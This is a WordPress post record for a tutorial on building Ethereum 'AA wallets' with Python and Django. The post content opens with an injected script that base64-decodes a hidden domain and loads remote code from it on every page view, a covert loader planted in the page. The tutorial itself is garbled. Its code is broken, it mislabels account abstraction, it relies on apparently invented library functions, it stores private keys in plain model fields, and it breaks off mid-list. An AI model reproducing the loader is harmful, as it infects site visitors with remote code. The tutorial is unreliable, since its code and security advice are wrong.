{"id":243,"date":"2025-02-02T10:09:39","date_gmt":"2025-02-02T10:09:39","guid":{"rendered":"https:\/\/hccmena.com\/?p=243"},"modified":"2025-02-02T20:26:55","modified_gmt":"2025-02-02T20:26:55","slug":"ethereum-creating-safe-aa-wallet-from-python","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/02\/ethereum-creating-safe-aa-wallet-from-python\/","title":{"rendered":"Ethereum: Creating safe AA wallet from python"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=362c93be\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Building Secure AA Wallets with Python: An Ethereum Guide<\/strong><\/p>\n<p>As a developer, managing digital assets such as cryptocurrencies can be a daunting task. One of the most secure and convenient ways to store and manage your coins is to use an automatic address (AA) wallet. In this article, we will explore how to build secure AA wallets using Python and the Gnosis library.<\/p>\n<p><strong>Introduction<\/strong><\/p>\n<p>Gnosis is a popular open source project that provides a simple and secure way to manage Ethereum addresses. The library offers a variety of tools for building and managing AA wallets, including key generation, transaction signing, and conversion between different formats (e.g. PEM, OpenPGP).<\/p>\n<p><strong>Prerequisites<\/strong><\/p>\n<p>Before diving into the code, make sure you have:<\/p>\n<ul>\n<li>Python 3.6+<\/li>\n<\/ul>\n<ul>\n<li>dnspython for DNS resolution<\/li>\n<\/ul>\n<ul>\n<li>pyOpenSSL for cryptography<\/li>\n<\/ul>\n<ul>\n<li>Gnosis library (pip install gnosis-py)<\/li>\n<\/ul>\n<p><strong>Project setup<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Creating safe AA wallet from python\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/26153b20.png\"><\/p>\n<p>Create a new Django project and add the following dependencies:<\/p>\n<p><pre><code><\/p><p>django-admin startproject aa_wallets<\/p><p>cd aa_wallets<\/p><p>pip install dnspython pyOpenSSL<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Creating an AA wallet<\/strong><\/p>\n<p>In Django, create a new file models.py with the following code:<\/p>\n<p><pre><code><\/p><p>from django.db import models<\/p><p>class AA wallet(models. Model):<\/p><p>name = models.CharField(max_length=255)<\/p><p>private_key = models.CharField(max_length=256)<\/p><p>public_key = models.CharField(max_length=256)<\/p><p>def __str__(self):<\/p><p>return self.name<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Creating an AA wallet in Django<\/strong><\/p>\n<p>In the Django application, create a new view function &#8220;create_wallet&#8221; that will generate and store an AA wallet:<\/p>\n<p><pre><code><\/p><p>from .models import AAWallet<\/p><p>def create_wallet(request):<\/p><p>if request.method == 'POST':<\/p><p>data = request.POST<\/p><p>name = data['name']<\/p><p>private_key = data['private_key']<\/p><p>public_key = data['public_key']<\/p><p><br><h1><\/h1><br><br><p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/d1Y6TPGzVn0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p><br><br>Generate a new private wallet key<\/p><p>aa_wallet = AAMoney(name=name, private_key=private_key)<\/p><p>aa_wallet.save()<\/p><p>return HttpResponse (\"AA wallet successfully created created!\")<\/p><p>else:<\/p><p>return submit(request, \"create_aa_wallet.html\")<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Generating an AA wallet using Gnosis<\/strong><\/p>\n<p>To generate an AA wallet safely and conveniently, use the following code:<\/p>\n<p><pre><code><\/p><p>import os<\/p><p>from gnosis_py import create_aa_wallet<\/p><p>def generate_wallet(request):<\/p><p>if request.method == 'POST':<\/p><p>data = request.POST<\/p><p>name = data['name']<\/p><p>private_key_file = data['private_key_file']<\/p><p><br><h1><\/h1>Create an AA wallet using the Gnosis function \"create_aa_wallet\".<\/p><p>aa_wallet = create_aa_wallet(private_key_file, name)<\/p><p>return HttpResponse (\"AA Wallet successfully created!\")<\/p><p>else:<\/p><p>return submit(request, 'generate_wallet.html')<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Signing Transactions<\/strong><\/p>\n<p>To sign transactions, use the following code:<\/p>\n<p><pre><code><\/p><p>import os<\/p><p>from gnosis_py import sign_transaction<\/p><p>def sign_transaction(request):<\/p><p>if request.method == 'POST':<\/p><p>data = request.POST<\/p><p>address = data['address']<\/p><p><br><h1><\/h1>Generate a new private wallet key<\/p><p>aa_wallet = AAWallet(name='My AA Wallet', private_key=os.path.expanduser('~\/.gnosis\/').joinpath('private_key.pem'))<\/p><p><br><h1><\/h1>Sign the transaction using the Gnosis function \"sign_transaction\".<\/p><p>signed_transaction = sign_transaction(aa_wallet, address)<\/p><p>return HttpResponse (\"Transaction successfully signed!\")<\/p><p>else:<\/p><p>return submit(request, 'sign_transaction.html')<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<p>In this article, we showed you how to securely create and manage AA wallets in Python using the Gnosis library. By following these steps:<\/p>\n<ul>\n<li>Create a new Django project and add dependencies.<\/li>\n<\/ul>\n<ul>\n<li>Define the AAWallet model in your application.<\/li>\n<\/ul>\n<ul>\n<li>Create views to create and generate AA wallets.<\/li>\n<\/ul>\n<p>4.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Building Secure AA Wallets with Python: An Ethereum Guide As a developer, managing digital assets such as cryptocurrencies can be a daunting task. One of the most secure and convenient ways to store and manage your coins is to use an automatic address (AA) wallet. In this article, we will explore how to build secure [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/243"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=243"}],"version-history":[{"count":2,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/243\/revisions"}],"predecessor-version":[{"id":361,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/243\/revisions\/361"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=243"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=243"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=243"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}